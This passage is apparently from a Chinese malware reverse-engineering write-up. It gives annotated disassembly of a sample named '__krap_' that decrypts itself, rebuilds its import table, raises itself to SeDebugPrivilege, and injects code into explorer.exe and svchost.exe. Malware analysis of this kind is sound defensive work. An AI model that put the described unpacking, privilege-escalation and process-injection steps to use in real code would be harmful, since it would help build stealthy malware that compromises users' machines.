&#160; &#160; 0092106C&#160; &#160; 8B45 0C&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp+C]
&#160; &#160; 0092106F&#160; &#160; 8B4D F4&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-C]
&#160; &#160; 00921072&#160; &#160; 8B51 04&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx+4]
&#160; &#160; 00921075&#160; &#160; 8950 44&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[eax+44],edx&#160;&#160;// 写入TimeDateStamp
&#160; &#160; 00921078&#160; &#160; 8BE5&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov esp,ebp
&#160; &#160; 0092107A&#160; &#160; 5D&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop ebp
&#160; &#160; 0092107B&#160; &#160; C2 0800&#160; &#160;&#160; &#160;&#160; &#160;retn 8
&#160; &#160;
&#160; &#160; // 压入导出的API列表
&#160; &#160; 00922305&#160; &#160; 8B8D CCFEFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-134]
&#160; &#160; 0092230B&#160; &#160; 51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx
&#160; &#160; 0092230C&#160; &#160; 8D95 70FEFFFF&#160; &#160;lea edx,dword ptr ss:[ebp-190]
&#160; &#160; 00922312&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 00922313&#160; &#160; 6A 00&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 0
&#160; &#160; 00922315&#160; &#160; E8 66EDFFFF&#160; &#160;&#160;&#160;call 00921080

&#160; &#160; 00920A52&#160; &#160; E8 59FCFFFF&#160; &#160;&#160;&#160;call <get_export_table_address>&#160;&#160;//查找对应的Kernel32,ntdll 导出表
&#160; &#160; 00920A57&#160; &#160; 8945 EC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-14],eax
&#160; &#160; 00920A5A&#160; &#160; 837D EC 00&#160; &#160;&#160; &#160;cmp dword ptr ss:[ebp-14],0
&#160; &#160; 00920A5E&#160; &#160; 75 07&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short 00920A67
&#160; &#160; 00920A60&#160; &#160; 33C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xor eax,eax
&#160; &#160; 00920A62&#160; &#160; E9 17020000&#160; &#160;&#160;&#160;jmp 00920C7E
&#160; &#160; 00920A67&#160; &#160; 8B55 EC&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ss:[ebp-14]
&#160; &#160; 00920A6A&#160; &#160; 837A 20 00&#160; &#160;&#160; &#160;cmp dword ptr ds:[edx+20],0
&#160; &#160; 00920A6E&#160; &#160; 75 07&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short 00920A77
&#160; &#160; 00920A70&#160; &#160; 33C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xor eax,eax
&#160; &#160;
&#160; &#160; // 找到了需要的API
&#160; &#160; 00920C44&#160; &#160; 837D E8 00&#160; &#160;&#160; &#160;cmp dword ptr ss:[ebp-18],0
&#160; &#160; 00920C48&#160; &#160; 74 05&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short 00920C4F
&#160; &#160; 00920C4A&#160; &#160; 8B45 E8&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-18]
&#160; &#160; 00920C4D&#160; &#160; EB 2F&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short 00920C7E
&#160; &#160; 00920C4F&#160; &#160; EB 26&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short 00920C77
&#160; &#160;
&#160; &#160; // 用自己获得的API填充自己已经被修改过的IAT
&#160; &#160; 00920DA2&#160; &#160; E8 99FCFFFF&#160; &#160;&#160;&#160;call 00920A40&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 找 (WININET.InternetOpenA) ok
&#160; &#160; 00920DA7&#160; &#160; 8B4D E4&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-1C]&#160; &#160;&#160; &#160;&#160; &#160;; __krap_.00409100
&#160; &#160; 00920DAA&#160; &#160; 8901&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[ecx],eax
&#160; &#160; 00920DAC&#160; &#160; 8B55 E4&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ss:[ebp-1C]
&#160; &#160; 00920DAF&#160; &#160; 833A 00&#160; &#160;&#160; &#160;&#160; &#160;cmp dword ptr ds:[edx],0
&#160; &#160;
&#160; &#160; // 清除工作&#160; &#160;&#160; &#160;
&#160; &#160; 00922351&#160; &#160; E8 EA020000&#160; &#160;&#160;&#160;call 00922640&#160;&#160;
&#160; &#160; 00922356&#160; &#160; 8BE5&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov esp,ebp
&#160; &#160; 00922358&#160; &#160; 5D&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop ebp
&#160; &#160; 00922359&#160; &#160; C2 1800&#160; &#160;&#160; &#160;&#160; &#160;retn 18

&#160; &#160; 009226A3&#160; &#160; 8B7D 1C&#160; &#160;&#160; &#160;&#160; &#160;mov edi,dword ptr ss:[ebp+1C]&#160;&#160;
&#160; &#160; 009226A6&#160; &#160; 8B75 18&#160; &#160;&#160; &#160;&#160; &#160;mov esi,dword ptr ss:[ebp+18]
&#160; &#160; 009226A9&#160; &#160; 8B5D 14&#160; &#160;&#160; &#160;&#160; &#160;mov ebx,dword ptr ss:[ebp+14]
&#160; &#160; 009226AC&#160; &#160; FF65 F0&#160; &#160;&#160; &#160;&#160; &#160;jmp dword ptr ss:[ebp-10]&#160; &#160; // 注意这里,跳向了新的EOP处(00407f30)
&#160; &#160;
&#160; &#160; // 至此二次解密的前期准备工作完毕,下面是解密
&#160; &#160;
&#160; &#160; // 用407000数据按一定的格式去改写401000开始的数据
&#160; &#160;
&#160; &#160; 00407F48&#160; &#160; 8A06&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov al,byte ptr ds:[esi]
&#160; &#160; 00407F4A&#160; &#160; 46&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc esi
&#160; &#160; 00407F4B&#160; &#160; 8807&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov byte ptr ds:[edi],al
&#160; &#160; 00407F4D&#160; &#160; 47&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc edi
&#160; &#160; 00407F4E&#160; &#160; 01DB&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add ebx,ebx
&#160; &#160; 00407F50&#160; &#160; 75 07&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00407F59
&#160; &#160; 00407F52&#160; &#160; 8B1E&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ebx,dword ptr ds:[esi]
&#160; &#160; 00407F54&#160; &#160; 83EE FC&#160; &#160;&#160; &#160;&#160; &#160;sub esi,-4
&#160; &#160; 00407F57&#160; &#160; 11DB&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;adc ebx,ebx
&#160; &#160; 00407F59&#160;&#160;^ 72 ED&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jb short __krap_.00407F48
&#160; &#160; ...
&#160; &#160;
&#160; &#160; // 从406000开始,搜索导入表中函数名称的后面的信息。406420开始为一块重定位的信息,利用这个重定位信息
去修正401000中的代码,这里面记录的是要重定位数据的索引。
&#160; &#160;
&#160; &#160; 004063E2&#160;&#160;41 00 01 48 74 74 70 51 75 65 72 79 49 6E 66 6F&#160;&#160;A.HttpQueryInfo
&#160; &#160; 004063F2&#160;&#160;41 00 01 49 6E 74 65 72 6E 65 74 43 6C 6F 73 65&#160;&#160;A.InternetClose
&#160; &#160; 00406402&#160;&#160;48 61 6E 64 6C 65 00 01 49 6E 74 65 72 6E 65 74&#160;&#160;Handle.Internet
&#160; &#160; 00406412&#160;&#160;52 65 61 64 46 69 6C 65 00 00 00 00 00 00 9D 08&#160;&#160;ReadFile......?
&#160; &#160; 00406422&#160;&#160;0F 11 1D 23 0F 0D 06 05 0D 06 15 33 0F 0E 0D 0B&#160;&#160;#..3.
&#160; &#160; 00406432&#160;&#160;07 12 07 27 35 21 A3 0B 34 70 0D 06 28 20 14 11&#160;&#160;'5!?4p.( 
&#160; &#160; 00406442&#160;&#160;11 21 28 32 3B 39 09 1D 0B 0C 54 07 16 06 07 07&#160;&#160;!(2;9..T
&#160; &#160; 00406452&#160;&#160;07 07 07 07 13 09 12 06 05 0E 0F 10 0C 30 09 11&#160;&#160;..0.
&#160; &#160; 00406462&#160;&#160;19 15 15 14 26 15 15 14 19 15 15 14 19 15 15 14&#160;&#160;&
&#160; &#160; 00406472&#160;&#160;19 15 15 14 19 15 15 14 19 15 15 14 19 15 15 14&#160;&#160;
&#160; &#160; 00406482&#160;&#160;19 15 15 14 19 15 15 14 17 10 1B 10 1B 15 15 14&#160;&#160;
&#160; &#160; 00406492&#160;&#160;10 09 1D 0B 0C 17 0D 2D 2D 0D 27 52 24 18 14 0F&#160;&#160;...--.'R$

&#160; &#160; //
&#160; &#160; 00408084&#160; &#160; 31C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xor eax,eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00408086&#160; &#160; 8A07&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov al,byte ptr ds:[edi]&#160; &#160;//&#160;&#160;edi - > 00406424
&#160; &#160; 00408088&#160; &#160; 47&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;inc edi
&#160; &#160; 00408089&#160; &#160; 09C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;or eax,eax
&#160; &#160; 0040808B&#160; &#160; 74 22&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.004080AF
&#160; &#160; 0040808D&#160; &#160; 3C EF&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;cmp al,0EF
&#160; &#160; 0040808F&#160; &#160; 77 11&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;ja short __krap_.004080A2
&#160; &#160; 00408091&#160; &#160; 01C3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add ebx,eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; //&#160;&#160;ebx - > 004010C1
&#160; &#160; 00408093&#160; &#160; 8B03&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ds:[ebx]
&#160; &#160; 00408095&#160; &#160; 86C4&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xchg ah,al
&#160; &#160; 00408097&#160; &#160; C1C0 10&#160; &#160;&#160; &#160;&#160; &#160;rol eax,10
&#160; &#160; 0040809A&#160; &#160; 86C4&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xchg ah,al
&#160; &#160; 0040809C&#160; &#160; 01F0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add eax,esi
&#160; &#160; 0040809E&#160; &#160; 8903&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[ebx],eax&#160; &#160;// 去修正4010c1这块偏移
&#160; &#160; 004080A0&#160;&#160;^ EB E2&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00408084

&#160; &#160; //例如下面代码代码
&#160; &#160; 004010B5&#160; &#160; C785 6CFFFFFF 9>mov dword ptr ss:[ebp-94],94
&#160; &#160; 004010BF&#160; &#160; FF15 000020B8&#160; &#160;call dword ptr ds:[B8200000]
&#160; &#160;
&#160; &#160; //会被修正为
&#160; &#160; 004010B5&#160; &#160; C785 6CFFFFFF 9>mov dword ptr ss:[ebp-94],94
&#160; &#160; 004010BF&#160; &#160; FF15 B8304000&#160; &#160;call dword ptr ds:[4030B8]&#160; &#160;&#160; &#160; ; kernel32.GetVersionExA
&#160; &#160;
&#160; &#160; // 解密完成后对比变化
&#160; &#160;
&#160; &#160; // 解密前
&#160; &#160; 00401000 >55 8B EC 50 56 83 65 FC 00 C7 45 F8 00 00 00 00&#160;&#160;U嬱PV僥?荅?...
&#160; &#160; 00401010&#160;&#160;56 C7 45 F4 FF FF FF FF EB 0A 5E 8B 75 F8 2B 75&#160;&#160;V荅?&#63733;&#63733;&#63733;?^媢?u
&#160; &#160; 00401020&#160;&#160;F4 89 75 F8 8B 7D F8 3B 7D 10 73 65 8B 4D 0C 03&#160;&#160;魤u鴭}?}se婱.
&#160; &#160; 00401030&#160;&#160;4D F8 89 C8 8B 4D F4 31 D2 33 10 F7 D1 F7 D2 09&#160;&#160;M鴫葖M??餮饕.
&#160; &#160; 00401040&#160;&#160;D1 F7 D1 81 E1 FF 00 00 00 8B 45 14 03 45 FC 8B&#160;&#160;痒褋?...婨E鼖
&#160; &#160; 00401050&#160;&#160;10 89 D0 68 FF 00 00 00 23 04 24 83 C4 04 6A FF&#160;&#160;壭h&#63733;...#$兡j&#63733;
&#160; &#160; 00401060&#160;&#160;33 04 24 40 83 C4 04 01 C1 8B 45 08 03 45 F8 C6&#160;&#160;3$@兡翄EE&#57945;
&#160; &#160; 00401070&#160;&#160;00 00 28 08 F6 18 8B 4D FC 41 89 4D FC 83 7D FC&#160;&#160;..(?婱麬塎鼉}
&#160; &#160;
&#160; &#160; // 解密后
&#160; &#160; 00401000 >55 8B EC 81 EC DC 02 00 00 B8 6C 01 00 00 89 85&#160;&#160;U嬱侅?..竘..墔
&#160; &#160; 00401010&#160;&#160;90 FE FF FF 89 85 24 FD FF FF 6A 00 8D 45 FC 50&#160;&#160;慆&#63733;&#63733;墔$?&#63733;j.岴黀
&#160; &#160; 00401020&#160;&#160;6A 01 E8 37 11 00 00 85 C0 74 04 33 C0 C9 C3 8B&#160;&#160;j?..吚t3郎脣
&#160; &#160; 00401030&#160;&#160;45 FC 8B 08 6A 08 6A 00 50 FF 51 50 8B 45 FC 8B&#160;&#160;E鼖jj.P&#63733;QP婨鼖
&#160; &#160; 00401040&#160;&#160;08 8D 95 24 FD FF FF 52 8D 95 90 FE FF FF 52 50&#160;&#160;崟$?&#63733;R崟慆&#63733;&#63733;RP
&#160; &#160; 00401050&#160;&#160;FF 51 2C 85 C0 75 D4 81 BD CC FE FF FF 00 00 00&#160;&#160;&#63733;Q,吚u詠教?&#63733;...
&#160; &#160; 00401060&#160;&#160;02 1B C0 F7 D8 C9 C3 55 8B EC 83 EC 08 C6 45 FF&#160;&#160;厉厣肬嬱冹艵&#63733;
&#160; &#160; 00401070&#160;&#160;00 0F 01 4D F9 8B 45 FB 25 00 00 F0 FF 3D 00 00&#160;&#160;.M鶍E?..?=..
&#160; &#160; 00401080&#160;&#160;C0 FF 75 04 C6 45 FF 01 0F B6 45 FF C9 C3 55 8B&#160;&#160;?u艵&#63733;禘&#63733;擅U
&#160; &#160;
3 自身注入Explorer.exe
&#160; &#160;
&#160; &#160; // 接着获得版本信息及自身路径
&#160; &#160; 00401FBB&#160; &#160; 55&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebp&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;**************
&#160; &#160; 00401FBC&#160; &#160; 8BEC&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ebp,esp
&#160; &#160; 00401FBE&#160; &#160; 81EC 3C010000&#160; &#160;sub esp,13C
&#160; &#160; 00401FC4&#160; &#160; 8D85 C4FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-13C]
&#160; &#160; 00401FCA&#160; &#160; 8945 FC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-4],eax
&#160; &#160; 00401FCD&#160; &#160; E8 BCF0FFFF&#160; &#160;&#160;&#160;call __krap_.0040108E
&#160; &#160; 00401FD2&#160; &#160; 84C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test al,al
&#160; &#160; 00401FD4&#160;&#160;- 0F84 7E010000&#160; &#160;je __krap_.00402158
&#160; &#160;
&#160; &#160; // 截取自己所在路径下最后的文件名称,判断自身是不是explorer.exe,因为这段代码会
&#160; &#160; // 运行在病毒程序中,也会运行在被注入的explorer中。
&#160; &#160;
&#160; &#160; // 如果是explorer,则注入代码到svchost.exe 中。
&#160; &#160;
&#160; &#160; 00402010&#160; &#160; 8B4D FC&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-4]
&#160; &#160; 00402013&#160; &#160; 8B11&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx]
&#160; &#160; 00402015&#160; &#160; B8 20202020&#160; &#160;&#160;&#160;mov eax,20202020
&#160; &#160; 0040201A&#160; &#160; 0BD0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;or edx,eax
&#160; &#160; 0040201C&#160; &#160; 81FA 6578706C&#160; &#160;cmp edx,6C707865&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; expl
&#160; &#160; 00402022&#160; &#160; 75 77&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.0040209B
&#160; &#160; 00402024&#160; &#160; 8B51 04&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx+4]
&#160; &#160; 00402027&#160; &#160; 0BD0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;or edx,eax
&#160; &#160; 00402029&#160; &#160; 81FA 6F726572&#160; &#160;cmp edx,7265726F&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; orer
&#160; &#160; 0040202F&#160; &#160; 75 6A&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.0040209B
&#160; &#160; 00402031&#160; &#160; 8B49 08&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ds:[ecx+8]
&#160; &#160; 00402034&#160; &#160; 0BC8&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;or ecx,eax
&#160; &#160; 00402036&#160; &#160; 81F9 2E657865&#160; &#160;cmp ecx,6578652E&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; .exe
&#160; &#160; 0040203C&#160; &#160; 75 5D&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.0040209B
&#160; &#160; 0040203E&#160; &#160; 8B45 0C&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp+C]
&#160; &#160; 00402041&#160; &#160; 48&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;dec eax
&#160; &#160; 00402042&#160; &#160; 75 4E&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short __krap_.00402092
&#160; &#160; 00402044&#160; &#160; 6A 08&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 8
&#160; &#160; 00402046&#160; &#160; 59&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop ecx
&#160; &#160; 00402047&#160; &#160; 8D7D C8&#160; &#160;&#160; &#160;&#160; &#160;lea edi,dword ptr ss:[ebp-38]
&#160; &#160; 0040204A&#160; &#160; F3:AB&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;rep stos dword ptr es:[edi]
&#160; &#160; 0040204C&#160; &#160; 68 40344000&#160; &#160;&#160;&#160;push __krap_.00403440&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;; ASCII "explorer.exe"
&#160; &#160; 00402051&#160; &#160; 8D45 C8&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-38]
&#160; &#160; 00402054&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00402055&#160; &#160; FF15 1C304000&#160; &#160;call dword ptr ds:[40301C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.lstrcpyA
&#160; &#160; 0040205B&#160; &#160; 8D45 C8&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-38]
&#160; &#160; 0040205E&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0040205F&#160; &#160; E8 7CF1FFFF&#160; &#160;&#160;&#160;call __krap_.004011E0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;; 获得explorer.exe 进程id
&#160; &#160; 00402064&#160; &#160; 3BC3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp eax,ebx
&#160; &#160; 00402066&#160; &#160; 59&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop ecx
&#160; &#160; 00402067&#160; &#160; 74 29&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00402092
&#160; &#160; 00402069&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0040206A&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 0040206B&#160; &#160; 68 FF0F1F00&#160; &#160;&#160;&#160;push 1F0FFF
&#160; &#160; 00402070&#160; &#160; FF15 34304000&#160; &#160;call dword ptr ds:[403034]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.OpenProcess
&#160; &#160; 00402076&#160; &#160; 8BF0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov esi,eax
&#160; &#160; 00402078&#160; &#160; 3BF3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp esi,ebx
&#160; &#160; 0040207A&#160; &#160; 74 16&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00402092
&#160; &#160; 0040207C&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 0040207D&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 0040207E&#160; &#160; 68 F11E4000&#160; &#160;&#160;&#160;push <__krap_.inject_code>
&#160; &#160; 00402083&#160; &#160; E8 AEFCFFFF&#160; &#160;&#160;&#160;call __krap_.00401D36&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// 注入代码到svchost.exe
&#160; &#160;
&#160; &#160; // 不是explorer.exe,说明是病毒程序自身,提权,注入。
&#160; &#160;
&#160; &#160; 0040209B&#160; &#160; 57&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edi
&#160; &#160; 0040209C&#160; &#160; 68 08404000&#160; &#160;&#160;&#160;push __krap_.00404008
&#160; &#160; 004020A1&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004020A2&#160; &#160; FFD6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call esi
&#160; &#160; 004020A4&#160; &#160; FF15 A8304000&#160; &#160;call dword ptr ds:[4030A8]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.GetCurrentProcess
&#160; &#160; 004020AA&#160; &#160; 8D4D 0C&#160; &#160;&#160; &#160;&#160; &#160;lea ecx,dword ptr ss:[ebp+C]
&#160; &#160; 004020AD&#160; &#160; 51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx
&#160; &#160; 004020AE&#160; &#160; 6A 20&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 20
&#160; &#160; 004020B0&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004020B1&#160; &#160; FF15 08304000&#160; &#160;call dword ptr ds:[403008]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; ADVAPI32.OpenProcessToken
&#160; &#160; 004020B7&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 004020B9&#160; &#160; 8B35 2C304000&#160; &#160;mov esi,dword ptr ds:[40302C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.CloseHandle
&#160; &#160; 004020BF&#160; &#160; 74 44&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00402105
&#160; &#160; 004020C1&#160; &#160; 8D45 F8&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-8]
&#160; &#160; 004020C4&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004020C5&#160; &#160; 68 FC334000&#160; &#160;&#160;&#160;push __krap_.004033FC&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;; ASCII "SeDebugPrivilege"
&#160; &#160; 004020CA&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004020CB&#160; &#160; FF15 00304000&#160; &#160;call dword ptr ds:[403000]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; ADVAPI32.LookupPrivilegeValueA
&#160; &#160; 004020D1&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 004020D3&#160; &#160; 74 30&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00402105
&#160; &#160; 004020D5&#160; &#160; 8B45 F8&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-8]
&#160; &#160; 004020D8&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004020D9&#160; &#160; 8945 EC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-14],eax
&#160; &#160; 004020DC&#160; &#160; 8B45 FC&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-4]
&#160; &#160; 004020DF&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004020E0&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004020E1&#160; &#160; 8945 F0&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-10],eax
&#160; &#160; 004020E4&#160; &#160; 8D45 E8&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-18]
&#160; &#160; 004020E7&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004020E8&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004020E9&#160; &#160; FF75 0C&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+C]
&#160; &#160; 004020EC&#160; &#160; C745 E8 0100000>mov dword ptr ss:[ebp-18],1
&#160; &#160; 004020F3&#160; &#160; C745 F4 0200000>mov dword ptr ss:[ebp-C],2
&#160; &#160; 004020FA&#160; &#160; FF15 04304000&#160; &#160;call dword ptr ds:[403004]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; ADVAPI32.AdjustTokenPrivileges
&#160; &#160;
&#160; &#160; //以下是查找过程,枚举进程,然后枚举模块,判断是否是explorer.exe
&#160; &#160;
&#160; &#160; 00401213&#160; &#160; E8 580F0000&#160; &#160;&#160;&#160;call __krap_.00402170&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; jmp to PSAPI.EnumProcesses
&#160; &#160; 00401218&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 0040121A&#160; &#160; 0F84 07010000&#160; &#160;je __krap_.00401327
&#160; &#160; 00401220&#160; &#160; 8365 FC 00&#160; &#160;&#160; &#160;and dword ptr ss:[ebp-4],0
&#160; &#160; 00401224&#160; &#160; F745 F8 FCFFFFF>test dword ptr ss:[ebp-8],FFFFFFFC
&#160; &#160; 0040122B&#160; &#160; 0F86 F6000000&#160; &#160;jbe __krap_.00401327
&#160; &#160; 00401231&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00401232&#160; &#160; 8B35 38304000&#160; &#160;mov esi,dword ptr ds:[403038]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; kernel32.lstrlenA
